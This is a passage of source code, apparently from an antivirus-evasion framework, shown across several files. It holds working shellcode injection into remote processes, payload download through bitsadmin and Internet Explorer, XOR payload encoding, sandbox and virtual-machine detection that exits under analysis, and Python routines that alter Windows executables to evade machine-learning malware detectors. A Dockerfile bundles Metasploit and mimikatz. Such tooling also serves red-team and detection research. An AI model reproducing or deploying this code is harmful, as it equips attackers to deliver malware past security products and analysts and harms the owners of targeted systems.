with the practical manipulation applied. 20 | """ 21 | 22 | content = bytearray() 23 | for i, section in enumerate(section_population): 24 | content += section[:int(round(len(section) * vector_t[i]))] 25 | 26 | raw_bytes = copy.deepcopy(exe_bytes) 27 | 28 | # append content 29 | raw_bytes += content 30 | 31 | return raw_bytes 32 | 33 | 34 | def padding(exe_path, amount): 35 | """ 36 | Implementation of Padding practical manipulation. 37 | 38 | Create an adversarial example with practical manipulation applied. 39 | Random bytes are used and new sample has "_padding" as postfix. 40 | """ 41 | 42 | print(f"Executing Padding manipulation on: {exe_path}") 43 | 44 | with open(exe_path, 'r+b') as f: 45 | raw_bytes = bytearray(f.read()) 46 | 47 | # append content 48 | raw_bytes += os.urandom(amount) 49 | 50 | with open(f"{exe_path[:-4]}_padding.exe", 'wb') as nf: 51 | nf.write(raw_bytes) 52 | 53 | 54 | # run as script 55 | if __name__ == "__main__": 56 | amount = 512 57 | if len(sys.argv) == 3: 58 | amount = int(sys.argv[2]) 59 | 60 | padding(sys.argv[1], amount) 61 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/download_bitsadmin.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | #include "helper_functions/helper_functions.h" 8 | 9 | 10 | // Downloads data from the URI specified in arg1 into a file, using the BITSADMIN Windows tool. 11 | // The data is then read from the file and returned. 12 | // 13 | // data_size receives the size of the data in bytes. 14 | unsigned char *download_bitsadmin(char *arg1, int *data_size) { 15 | DEBUG_PRINT("Downloading data to file via bitsadmin...\n"); 16 | 17 | // File will be named as on the server 18 | char sh_filename[128]; 19 | strcpy(sh_filename, get_filename_from_url(arg1)); 20 | 21 | DEBUG_PRINT("sh_filename = %s\n", sh_filename); 22 | 23 | // Bitsadmin expects a full path. 24 | // Acquire full path + file name of this process. 25 | char current_path[MAX_PATH]; 26 | GetModuleFileNameA(NULL, current_path, MAX_PATH); 27 | 28 | // Replace executable name with payload name (after last '\') 29 | // Array size MAX_PATH should be large enough 30 | strcpy((strrchr(current_path, '\\') + 1), sh_filename); 31 | 32 | DEBUG_PRINT("current_path = %s\n", current_path); 33 | 34 | char download[500]; // how not to do it... 35 | sprintf(download, "bitsadmin.exe /transfer \"WinBitsJob\" %s %s", arg1, current_path); 36 | 37 | DEBUG_PRINT("command: %s\n", download); 38 | system(download); 39 | DEBUG_PRINT("Download done.\n"); 40 | 41 | *data_size = get_filesize(sh_filename); 42 | return load_textfile(sh_filename, *data_size); 43 | } 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/helper_functions/helper_functions.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../../debug_print/debug_print.h" 6 | 7 | 8 | // Searches for the last occurence of the '/' character and returns the string remaining after that last occurence 9 | // Note that the return value will be pointing to the same string 10 | char *get_filename_from_url(char *url) { 11 | int index = -1; 12 | int i = 0; 13 | 14 | while(url[i] != '\0') 15 | { 16 | if(url[i] == '/') 17 | { 18 | index = i; 19 | } 20 | i++; 21 | } 22 | 23 | return &url[index + 1]; 24 | } 25 | 26 | 27 | // Returns the content size of the file given by fvalue 28 | int get_filesize(char *fvalue) { 29 | int size,rc1; 30 | FILE *fp1 = fopen(fvalue, "rb"); 31 | if (fp1 == NULL) 32 | { 33 | DEBUG_PRINT("get_filesize, %s not found\n", fvalue); 34 | return 0; 35 | } 36 | for (size = 0; (rc1 = getc(fp1)) != EOF; size++) {} 37 | fclose(fp1); 38 | 39 | DEBUG_PRINT("get_filesize, filesize %s: %d\n", fvalue, size); 40 | 41 | return size; 42 | } 43 | 44 | 45 | // Returns pointer to buffer that contains the file content 46 | // Automatically allocates memory for this 47 | unsigned char *load_textfile(char *fvalue, int size) { 48 | DEBUG_PRINT("load_textfile called: fvalue: %s, size: %d\n", fvalue, size); 49 | 50 | //allocate buffer, open file, read file to the buffer, close the file 51 | unsigned char *buffer = (unsigned char*) malloc(size+1); 52 | int i, rc; 53 | 54 | for (i=0; i 2 | #include 3 | #include "../../../data_utility.h" 4 | 5 | 6 | // XORs the plaintext with key bytes and stores the result in ciphertext. 7 | // Can handle multi-byte keys, key bytes are then applied successively. 8 | // Plaintext length is not required to be a multiple of the key length, the procedure just stops when the plaintext ends. 9 | void xor_encode(const unsigned char *plaintext, const int plaintext_length, const unsigned char *key, const int key_length, unsigned char *ciphertext) { 10 | for(int i = 0; i < plaintext_length; i++) { 11 | ciphertext[i] = plaintext[i] ^ key[i % key_length]; 12 | } 13 | } 14 | 15 | 16 | // Arguments expected: 17 | // argv[1]: Name of the file containing the payload to be encoded (raw format expected) 18 | // argv[2]: Name of the file where the encoded payload shall be written to 19 | // argv[3]: Name of the file the key to be applied is stored (raw format) 20 | int main(int argc, char **argv) { 21 | int payload_size; 22 | int key_length; 23 | 24 | printf("Starting XOR encoder...\n"); 25 | 26 | // Read payload from file into memory 27 | printf("Reading payload from file %s, expecting raw format.\n", argv[1]); 28 | unsigned char *payload = data_from_file_raw(argv[1], &payload_size); 29 | printf("payload size in bytes is %d\n", payload_size); 30 | 31 | // Read encryption key from file into memory 32 | printf("Reading key from file %s, expecting raw format.\n", argv[3]); 33 | unsigned char *key = data_from_file_raw(argv[3], &key_length); 34 | printf("Key length in bytes is %d\n", key_length); 35 | 36 | // Encrypt and write ciphertext to file 37 | unsigned char *ciphertext = (unsigned char *) malloc(payload_size); 38 | printf("Applying XOR algorithm\n"); 39 | xor_encode(payload, payload_size, key, key_length, ciphertext); 40 | printf("Writing payload to file %s\n", argv[2]); 41 | data_to_file_raw(ciphertext, payload_size, argv[2]); 42 | 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_vm_mac.h: -------------------------------------------------------------------------------- 1 | /* Large parts of the code copied/inspired from https://github.com/a0rtega/pafish 2 | should work for vmware and VirtualBox */ 3 | #pragma once 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "../debug_print/debug_print.h" 11 | 12 | 13 | /* left the original pafish function */ 14 | int pafish_check_mac_vendor(char * mac_vendor) { 15 | unsigned long alist_size = 0, ret; 16 | 17 | ret = GetAdaptersAddresses(AF_UNSPEC,0,0,0,&alist_size); 18 | if(ret==ERROR_BUFFER_OVERFLOW) { 19 | IP_ADAPTER_ADDRESSES* palist = (IP_ADAPTER_ADDRESSES*)LocalAlloc(LMEM_ZEROINIT,alist_size); 20 | void * palist_free = palist; 21 | if(palist) { 22 | GetAdaptersAddresses(AF_UNSPEC,0,0,palist,&alist_size); 23 | char mac[6]={0}; 24 | while (palist){ 25 | if (palist->PhysicalAddressLength==0x6){ 26 | memcpy(mac,palist->PhysicalAddress,0x6); 27 | if (!memcmp(mac_vendor, mac, 3)) { /* First 3 bytes are the same */ 28 | LocalFree(palist_free); 29 | return TRUE; 30 | } 31 | } 32 | palist = palist->Next; 33 | } 34 | LocalFree(palist_free); 35 | } 36 | } 37 | return FALSE; 38 | } 39 | 40 | 41 | void has_vm_mac() 42 | { 43 | /* 44 | VMware is any of 45 | 00:05:69 46 | 00:0C:29 47 | 00:1C:14 48 | 00:50:56 49 | */ 50 | if (pafish_check_mac_vendor("\x00\x05\x69")) { 51 | DEBUG_PRINT("MAC VMWare found.\n"); 52 | exit(0); 53 | } 54 | else if (pafish_check_mac_vendor("\x00\x0C\x29")) { 55 | DEBUG_PRINT("MAC VMWare found.\n"); 56 | exit(0); 57 | } 58 | else if (pafish_check_mac_vendor("\x00\x1C\x14")) { 59 | DEBUG_PRINT("MAC VMWare found.\n"); 60 | exit(0); 61 | } 62 | else if (pafish_check_mac_vendor("\x00\x50\x56")) { 63 | DEBUG_PRINT("MAC VMWare found.\n"); 64 | exit(0); 65 | } 66 | /* VirtualBox mac starts with 08:00:27 */ 67 | else if (pafish_check_mac_vendor("\x08\x00\x27")) { 68 | DEBUG_PRINT("MAC VirtualBox found.\n"); 69 | exit(0); 70 | } 71 | 72 | } 73 | -------------------------------------------------------------------------------- /source/implementations/evasion/interaction_msg_box.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Spawn message box with hardcoded arithmetic task which only executes of it is solved correctly. 10 | // 11 | // No arg 12 | void interaction_msg_box(char *arg1) { 13 | DEBUG_PRINT("Applying interactive_msg_box evasion technique.\n"); 14 | 15 | char *call = "powershell.exe "; 16 | char *pwsh = "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing;$window = New-Object System.Windows.Forms.Form;$window.Width = 500;$window.Height = 150;$Label = New-Object System.Windows.Forms.Label;$Label.Location = New-Object System.Drawing.Size(10,10);$Label.Text = 'Rechne aus: 5+5';$Label.AutoSize = $True;$window.Controls.Add($Label);$windowButton = New-Object System.Windows.Forms.Button;$windowButton.Location = New-Object System.Drawing.Size(10,60);$windowButton.Size = New-Object System.Drawing.Size(50,30);$windowButton.Text = 'OK';$windowButton.Enabled = $false;$windowTextBox = New-Object System.Windows.Forms.TextBox;$windowTextBox.Location = New-Object System.Drawing.Size(10,30);$windowTextBox.Size = New-Object System.Drawing.Size(350,350);$windowTextBox.add_TextChanged({$windowButton.Enabled = $windowTextBox.Text});$window.Controls.Add($windowTextBox);$windowButton.Add_Click({$calc = [int]$windowTextBox.Text;if($calc -eq 10) {Write-Host '0';}else {Write-Host '-1';}$window.Dispose();});$window.Controls.Add($windowButton);[void]$window.ShowDialog();"; 17 | char *command = (char *) malloc(strlen(pwsh) + strlen(call) + 1); 18 | FILE *fp; 19 | char buf[128]; 20 | char retval[10]; 21 | 22 | strcpy(command, call); 23 | strcat(command, pwsh); 24 | 25 | 26 | if ((fp = popen(command, "r")) == NULL) { 27 | DEBUG_PRINT("Error opening pipe!\n"); 28 | exit(0); 29 | } 30 | 31 | while (fgets(buf, 128, fp) != NULL) { 32 | strcat(retval, buf); 33 | } 34 | if (strstr(retval, "0")) { 35 | DEBUG_PRINT("Proceed!\n"); 36 | } else { 37 | exit(0); 38 | } 39 | } -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/inject_shellcode.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // payload_info format: pid 9 | // pid specifies the process ID of the process to inject the shellcode into. 10 | // 11 | // This was successfully tested on both 32 and 64 bit systems 12 | void inject_shellcode(unsigned char *shellcode, int shellcode_size, char *payload_info) { 13 | DEBUG_PRINT("Starting inject_shellcode routine...\n"); 14 | 15 | // Extract PID from payload_info 16 | DWORD target_pid = strtoul(payload_info, NULL, 0); 17 | DEBUG_PRINT("Extracted payload_info::target_pid argument = %u\n", target_pid); 18 | 19 | if(target_pid == 0) { 20 | DEBUG_PRINT("Invalid target PID.\n"); 21 | return; 22 | } 23 | 24 | // Access target process 25 | DEBUG_PRINT("Accessing target process...\n"); 26 | HANDLE h_proc = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, target_pid); 27 | 28 | if(h_proc == NULL) { 29 | DEBUG_PRINT("Failed to retrieve handle.\n"); 30 | return; 31 | } 32 | 33 | // Allocate target memory for the shellcode 34 | DEBUG_PRINT("Allocating memory in target process...\n"); 35 | PVOID remote_buffer = VirtualAllocEx(h_proc, NULL, (SIZE_T) shellcode_size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 36 | 37 | if(remote_buffer == NULL) { 38 | DEBUG_PRINT("Memory allocation failed.\n"); 39 | return; 40 | } 41 | 42 | // Write shellcode into allocated target buffer 43 | DEBUG_PRINT("Writing shellcode into allocated target buffer...\n"); 44 | if(WriteProcessMemory(h_proc, remote_buffer, (PBYTE) shellcode, (SIZE_T) shellcode_size, NULL) == 0) { 45 | DEBUG_PRINT("Write operation failed.\n"); 46 | return; 47 | } 48 | 49 | // Create and start new thread in the remote process, executing the shellcode 50 | DEBUG_PRINT("Creating new remote thread to execute shellcode...\n"); 51 | HANDLE h_remote_thread = CreateRemoteThread(h_proc, NULL, 0, (LPTHREAD_START_ROUTINE) remote_buffer, NULL, 0, NULL); 52 | if(h_remote_thread == NULL) { 53 | DEBUG_PRINT("Thread creation failed.\n"); 54 | return; 55 | } 56 | 57 | CloseHandle(h_proc); 58 | } 59 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # v0.1 2 | # 3 | # This Dockerfile encapsulates the Metasploit Framework and Avet. 4 | # 5 | # Also included: 6 | # hasherezade/pe_to_shellcode 7 | # Mr-Un1k0d3r/DKMC 8 | # gentilkiwi/mimikatz 9 | # 10 | # To build this run: 11 | # $ sudo docker build -t avet:v0.1 . 12 | # 13 | # To start this: 14 | # $ sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash 15 | # (alias this) 16 | # 17 | # This mounts the Current Working directory as a Docker Volume and attach it to /avet/output. 18 | # To be save, choose an empty directory to prevent overriding files. 19 | # 20 | # Right now, the only option to configure the build scripts inside the Container 21 | # is using avet.py or with vim/nano/gedit in /avet/build 22 | # You can also install other editors if you like 23 | # 24 | 25 | 26 | FROM debian:buster 27 | 28 | # Preparation 29 | ARG DEBIAN_FRONTEND=noninteractive 30 | 31 | RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \ 32 | wget \ 33 | curl \ 34 | git \ 35 | unzip \ 36 | jq \ 37 | apt-utils \ 38 | gnupg2 \ 39 | vim \ 40 | nano \ 41 | gedit \ 42 | wine \ 43 | wine32 \ 44 | python \ 45 | python3 \ 46 | mingw-w64 \ 47 | && rm -rf /var/lib/apt/lists/* 48 | 49 | 50 | # For metasploit 51 | RUN echo 'deb http://apt.metasploit.com/ buster main' > /etc/apt/sources.list.d/metasploit-framework.list 52 | RUN wget -O - http://apt.metasploit.com/metasploit-framework.gpg.key | apt-key add - 53 | 54 | RUN apt-get update && apt-get install -y \ 55 | metasploit-framework \ 56 | && rm -rf /var/lib/apt/lists/* 57 | 58 | 59 | # For avet 60 | WORKDIR /tools/avet 61 | COPY . . 62 | 63 | 64 | # For pe2shc 65 | WORKDIR /tools/pe_to_shellcode 66 | RUN curl -s https://api.github.com/repos/hasherezade/pe_to_shellcode/releases/latest \ 67 | | jq -r '.assets[].browser_download_url' \ 68 | | grep 'pe2shc' \ 69 | | wget -i - 70 | 71 | 72 | # For mimikatz 73 | WORKDIR /tools/mimikatz 74 | RUN curl -s https://api.github.com/repos/gentilkiwi/mimikatz/releases/latest \ 75 | | jq -r '.assets[].browser_download_url' \ 76 | | grep .'zip' \ 77 | | wget -i - \ 78 | && unzip mimikatz_trunk.zip \ 79 | && cp x64/mimikatz.exe /tools/avet/input 80 | 81 | 82 | # For dkmc 83 | WORKDIR /tools 84 | RUN git clone https://github.com/Mr-Un1k0d3r/DKMC.git 85 | 86 | 87 | # configure wine during build 88 | RUN winecfg 89 | 90 | 91 | WORKDIR /tools/avet 92 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/practical_manipulations/section_injection.py: -------------------------------------------------------------------------------- 1 | """ 2 | Implementation of Section Injection practical manipulation from 3 | Functionality-Preserving Black-Box Optimization of Adversarial Windows Malware 4 | by Demetrio et al. 5 | 6 | Can be used standalone with random bytes or via genetic optimizer. 7 | """ 8 | 9 | import os 10 | import random 11 | import string 12 | import sys 13 | 14 | import lief 15 | 16 | 17 | def section_injection_on_bytes(exe_bytes: bytearray, section_population, vector_t): 18 | """ 19 | Implementation of Section Injection practical manipulation. 20 | Intended for use with genetic optimizer. 21 | 22 | Returns the bytes with the practical manipulation applied. 23 | """ 24 | 25 | content = bytearray() 26 | for i, section in enumerate(section_population): 27 | content += section[:int(round(len(section) * vector_t[i]))] 28 | 29 | exe_object: lief.PE.Binary = lief.parse(exe_bytes) 30 | 31 | new_section = lief.PE.Section( 32 | ''.join(random.choice(string.ascii_lowercase) for i in range(5))) 33 | 34 | new_section.content = content 35 | new_section.characteristics = lief.PE.SECTION_CHARACTERISTICS.MEM_DISCARDABLE 36 | exe_object.add_section(new_section) 37 | 38 | builder = lief.PE.Builder(exe_object) 39 | builder.build() 40 | 41 | return bytearray(builder.get_build()) 42 | 43 | 44 | def section_injection(exe_path, amount): 45 | """ 46 | Implementation of Section Injection practical manipulation. 47 | 48 | Create an adversarial example with practical manipulation applied. 49 | Random bytes are used and new sample has "_section_injection" as postfix. 50 | """ 51 | 52 | print(f"Executing Section Injection manipulation on: {exe_path}") 53 | 54 | exe_object: lief.PE.Binary = lief.parse(exe_path) 55 | 56 | new_section = lief.PE.Section( 57 | ''.join(random.choice(string.ascii_lowercase) for i in range(5))) 58 | new_section.content = [ord(os.urandom(1)) for _ in range(amount)] 59 | new_section.characteristics = lief.PE.SECTION_CHARACTERISTICS.MEM_DISCARDABLE 60 | exe_object.add_section(new_section) 61 | 62 | builder = lief.PE.Builder(exe_object) 63 | builder.build() 64 | builder.write(f"{exe_path[:-4]}_section_injection.exe") 65 | 66 | 67 | # run as script 68 | if __name__ == "__main__": 69 | amount = 512 70 | if len(sys.argv) == 3: 71 | amount = int(sys.argv[2]) 72 | 73 | section_injection(sys.argv[1], amount) 74 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/practical_manipulations/full_dos.py: -------------------------------------------------------------------------------- 1 | """ 2 | Implementation of Full DOS practical manipulation from 3 | Adversarial EXEmples: A Survey and Experimental Evaluation of 4 | Practical Attacks on Machine Learning for Windows Malware Detection 5 | by Demetrio et al. 6 | 7 | Can be used standalone with random bytes or via genetic optimizer. 8 | """ 9 | 10 | import os 11 | import sys 12 | import copy 13 | 14 | import lief 15 | 16 | 17 | def full_dos_on_bytes(exe_bytes: bytearray, section_population, vector_t): 18 | """ 19 | Implementation of Full DOS practical manipulation. 20 | Intended for use with genetic optimizer. 21 | 22 | Returns the bytes with the practical manipulation applied. 23 | """ 24 | 25 | content = bytearray() 26 | for i, section in enumerate(section_population): 27 | content += section[:int(round(len(section) * vector_t[i]))] 28 | 29 | exe_object: lief.PE.Binary = lief.parse(exe_bytes) 30 | 31 | # get range allowed to perturb 32 | pe_header_offset = exe_object.dos_header.addressof_new_exeheader 33 | range_to_perturb = list(range(2, 0x3c)) + \ 34 | list(range(0x40, pe_header_offset)) 35 | 36 | raw_bytes = copy.deepcopy(exe_bytes) 37 | 38 | # perturb DOS header 39 | counter = 0 40 | for i in range_to_perturb: 41 | raw_bytes[i] = content[counter % len(content)] 42 | counter += 1 43 | 44 | return raw_bytes 45 | 46 | 47 | def full_dos(exe_path): 48 | """ 49 | Implementation of Full DOS practical manipulation. 50 | 51 | Create an adversarial example with practical manipulation applied. 52 | Random bytes are used and new sample has "_full_dos" as postfix. 53 | """ 54 | 55 | print(f"Executing Full DOS manipulation on: {exe_path}") 56 | 57 | exe_object: lief.PE.Binary = lief.parse(exe_path) 58 | 59 | # get range allowed to perturb 60 | pe_header_offset = exe_object.dos_header.addressof_new_exeheader 61 | range_to_perturb = list(range(2, 0x3c)) + \ 62 | list(range(0x40, pe_header_offset)) 63 | 64 | with open(exe_path, 'r+b') as f: 65 | raw_bytes = bytearray(f.read()) 66 | 67 | # perturb DOS header 68 | for i in range_to_perturb: 69 | raw_bytes[i] = ord(os.urandom(1)) 70 | 71 | with open(f"{exe_path[:-4]}_full_dos.exe", 'wb') as nf: 72 | # create executable 73 | nf.write(raw_bytes) 74 | 75 | 76 | # run as script 77 | if __name__ == "__main__": 78 | full_dos(sys.argv[1]) 79 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_vm_regkey.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Checks for a specified set of strings related to VM environments in the registry. 9 | // If one of the strings is found, the program exits. 10 | // 11 | // arg1: Specifies the set of strings to search for. Entries are comma-separated. 12 | // Hence, individual search strings must not contain comma characters. 13 | // Total search string length is currently limited to 1023. 14 | void has_vm_regkey(char *arg1) { 15 | DEBUG_PRINT("Applying has_vm_regkey evasion technique.\n"); 16 | DEBUG_PRINT("Checking registry key SYSTEM\\ControlSet001\\Services\\Disk\\Enum for search set %s...\n", arg1); 17 | 18 | HKEY hKey; 19 | int i; 20 | char szBuffer[1024]; 21 | char complete_search_str[1024]; 22 | char *current_search_str; 23 | char *delim; 24 | 25 | DWORD dwSize = sizeof(szBuffer) - 1; 26 | 27 | // Retrieve registry key content 28 | if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\Disk\\Enum", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { 29 | RegQueryValueEx(hKey, "0", NULL, NULL, (unsigned char *)szBuffer, &dwSize); 30 | 31 | // Compare content against search strings 32 | // Work on our own copy 33 | strcpy(complete_search_str, arg1); 34 | // Set current marker at beginning 35 | current_search_str = complete_search_str; 36 | 37 | // Iterate until no comma delimiter found 38 | while((delim = strchr(current_search_str, ',')) != NULL) { 39 | // Terminate current string at delimiter 40 | *delim = '\0'; 41 | 42 | // Search for current string in registry content. If found, exit. 43 | if(strstr(szBuffer, current_search_str)) { 44 | DEBUG_PRINT("Found %s, exiting...\n", current_search_str); 45 | RegCloseKey(hKey); 46 | exit(0); 47 | } 48 | 49 | // Update current search string to next entry 50 | current_search_str = delim + 1; 51 | } 52 | 53 | // Process last entry 54 | if(strstr(szBuffer, current_search_str)) { 55 | DEBUG_PRINT("Found %s, exiting...\n", current_search_str); 56 | RegCloseKey(hKey); 57 | exit(0); 58 | } 59 | 60 | RegCloseKey(hKey); 61 | } else { 62 | DEBUG_PRINT("Could not open registry key.\n"); 63 | } 64 | 65 | DEBUG_PRINT("Found none. Proceeding.\n"); 66 | } 67 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/static_from_file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | 6 | 7 | // Static retrieval of data from file. 8 | // Static in this context means that the data is statically compiled into the executable and therefore fixed after compilation time. 9 | // Data must be copied as a c-style array into get_shellcode.h by the build script. 10 | // 11 | // arg1 specifies which array the data is read from. 12 | // data_size receives the size of the data in bytes. 13 | unsigned char *static_from_file(char *arg1, int *data_size) { 14 | // Deliver address and size of array buf[] 15 | // If payload is retrieved statically, the define is set by the build script to notify this function that array buf[] is declared and known to the compiler. 16 | #ifdef STATIC_PAYLOAD 17 | if(strcmp(arg1, "static_payload") == 0) { 18 | DEBUG_PRINT("Statically retrieving data from array buf[] in included file...\n"); 19 | *data_size = sizeof(buf) - 1; 20 | return buf; 21 | } 22 | #endif 23 | // Deliver address and size of array key[] if key is requested 24 | // If the key is retrieved statically, the define is set by the build script to notify this function that array key[] is declared and known to the compiler. 25 | #ifdef STATIC_KEY 26 | if(strcmp(arg1, "static_key") == 0) { 27 | DEBUG_PRINT("Statically retrieving data from array key[] in included file...\n"); 28 | *data_size = sizeof(key) - 1; 29 | return key; 30 | } 31 | #endif 32 | // Deliver address and size of array payload_info[] if payload info is requested 33 | // If payload info is retrieved statically, the define is set by the build script to notify this function that array payload_info[] is declared and known to the compiler. 34 | #ifdef STATIC_PAYLOAD_INFO 35 | if(strcmp(arg1, "static_payload_info") == 0) { 36 | DEBUG_PRINT("Statically retrieving data from array payload_info[] in included file...\n"); 37 | *data_size = sizeof(payload_info) - 1; 38 | return payload_info; 39 | } 40 | #endif 41 | // Deliver address and size of array command[] if command is requested 42 | // If command is retrieved statically, the define is set by the build script to notify this function that array command[] is declared and known to the compiler. 43 | #ifdef STATIC_COMMAND 44 | if(strcmp(arg1, "static_command") == 0) { 45 | DEBUG_PRINT("Statically retrieving data from array command[] in included file...\n"); 46 | *data_size = sizeof(command) - 1; 47 | return command; 48 | } 49 | #endif 50 | 51 | // Return NULL if arg1 is unrecognized string or defines are not set correctly 52 | DEBUG_PRINT("Static retrieval from file failed; argument arg1 of function static_from_file not recognized and/or defines not correctly set in included headers?\n"); 53 | return NULL; 54 | } 55 | -------------------------------------------------------------------------------- /tools/generate_key/generate_key.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "../../source/data_utility.h" 6 | 7 | 8 | // Generates a (non-cryptographically) random byte sequence. 9 | // Length of the sequence will be key_length bytes. 10 | // Memory for the key will be allocated by the function. 11 | unsigned char *generate_key(int key_length) { 12 | // Init random structures 13 | time_t t; 14 | srand((unsigned) time(&t)); 15 | 16 | // Allocate memory for key 17 | unsigned char *key = (unsigned char *) malloc(key_length); 18 | 19 | // Generate key bytes 20 | for(int i = 0; i < key_length; i++) { 21 | key[i] = rand() % 256; 22 | } 23 | 24 | return key; 25 | } 26 | 27 | 28 | // Retrieves data from a "11aabb22..." format hex string given by arg1. 29 | // 30 | // data_size receives the size of the data in bytes. 31 | unsigned char *from_command_line_hex(char *arg1, int *data_size) { 32 | // Get input string length 33 | int input_length = strlen(arg1); 34 | 35 | // Convert ASCII hex string into raw bytes 36 | char current_hex[5] = "0xaa"; 37 | 38 | // Each data byte is represented by 2 ASCII symbols 39 | *data_size = input_length / 2; 40 | unsigned char *data = (unsigned char *) malloc(*data_size); 41 | 42 | // Hex string is of format aabb01cc34... 43 | // Each loop iteration handles a 2-character chunk 44 | int j = 0; 45 | char *endptr; // Required by strtoul function 46 | 47 | for(int i = 0; i < input_length; i++) { 48 | // Interpret hex representation as unsigned char value 49 | memcpy(&(current_hex[2]), &(arg1[2 * i]), 2); 50 | data[j] = (unsigned char) strtoul(current_hex, &endptr, 16); 51 | j++; 52 | } 53 | 54 | return data; 55 | } 56 | 57 | 58 | // Key generation utility. Generates either a random key or takes a preset key, 59 | // and outputs the raw (!!!) key data into a specified file. 60 | // Arguments expected: 61 | // 62 | // argv[1]: (random|preset) 63 | // Random: Generates a random byte sequence. Sequence length in bytes is specified in argv[2]. 64 | // Preset: Allows to enter a preset key via argv[2]. Input format is a hex string, such as aabbccdd... 65 | // argv[2]: Either specifies key length in bytes, or a preset key via hex string, depending on argv[1] choice. 66 | // argv[3]: Name of the output file to write generated raw key data into. 67 | 68 | int main(int argc, char **argv) { 69 | int key_length = 0; 70 | unsigned char *key = 0; 71 | 72 | // Generate random key 73 | if(strcmp(argv[1], "random") == 0) { 74 | // Convert key length specified in second argument 75 | key_length = strtol(argv[2], NULL, 10); 76 | // Generate key of specified length 77 | key = generate_key(key_length); 78 | } 79 | 80 | // Read preset key 81 | if(strcmp(argv[1], "preset") == 0) { 82 | // Get key from command line argument argv[2] 83 | key = from_command_line_hex(argv[2], &key_length); 84 | } 85 | 86 | // Write raw key data to output file 87 | data_to_file_raw(key, key_length, argv[3]); 88 | 89 | return 0; 90 | } 91 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/download_internet_explorer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | #include "helper_functions/helper_functions.h" 7 | 8 | 9 | // return pointer to the filename 10 | // string = url 11 | char* ie_download(char* string) { 12 | char ie[500]; 13 | GetEnvironmentVariable("PROGRAMFILES",ie,100); 14 | strcat(ie,"\\Internet Explorer\\iexplore.exe"); 15 | ShellExecute(0, "open", ie , string, NULL, SW_SHOWDEFAULT); 16 | 17 | // wait a little until the file is loaded 18 | Sleep(8000); 19 | 20 | // get the filename to search format in the ie temp directory 21 | char delimiter[] = "/"; 22 | char *ptr; 23 | char *fname; 24 | ptr = strtok(string, delimiter); 25 | while(ptr != NULL) 26 | { 27 | fname = ptr; 28 | ptr = strtok(NULL, delimiter); 29 | } 30 | 31 | DEBUG_PRINT("ie_download, filename: %s\n", fname); 32 | 33 | // split the filename 34 | char delimiter2[] = "."; 35 | char *sname; 36 | ptr = strtok(fname, delimiter2); 37 | sname = ptr; 38 | ptr = strtok(NULL, delimiter2); 39 | 40 | DEBUG_PRINT("ie_download, name to search for: %s\n", sname); 41 | 42 | // search for the file in user profile 43 | 44 | // build searchstring 45 | char tmp[150]; 46 | char tmp_home[150]; 47 | GetEnvironmentVariable ("USERPROFILE",tmp_home,150); 48 | GetEnvironmentVariable ("TEMP",tmp,150); 49 | tmp [ strlen(tmp) - 5 ] = 0x0; 50 | //printf("\n\n%s\n\n",tmp); 51 | char searchstring[500] = "/C "; 52 | strncat (searchstring,tmp_home,1); 53 | strcat (searchstring,": && cd \""); 54 | strcat (searchstring,tmp); 55 | strcat (searchstring,"\" && dir . /s /b | find \""); 56 | strcat (searchstring,sname); 57 | strcat (searchstring,"\" > \""); 58 | strcat (searchstring,tmp_home); 59 | strcat (searchstring,"\\datafile.txt\""); 60 | 61 | DEBUG_PRINT("ie_download, searchstring: %s\n", searchstring); 62 | 63 | // build & execute cmd 64 | char cmd[500]; 65 | GetEnvironmentVariable ("WINDIR",cmd,500); 66 | strcat (cmd,"\\system32\\cmd.exe"); 67 | ShellExecute (0, "open", "cmd.exe" , searchstring, NULL, SW_SHOWDEFAULT); 68 | 69 | //now read the directory + filename from the textfile 70 | char dirfile[500] = {0}; 71 | strcat (dirfile, tmp_home); 72 | strcat (dirfile, "\\datafile.txt"); 73 | char *sh_filename; 74 | int size_sh_filename=0; 75 | int counter = 0; 76 | while(size_sh_filename==0 && counter <= 1000) 77 | { 78 | size_sh_filename = get_filesize (dirfile); 79 | Sleep(500); 80 | counter++; 81 | } 82 | 83 | sh_filename = 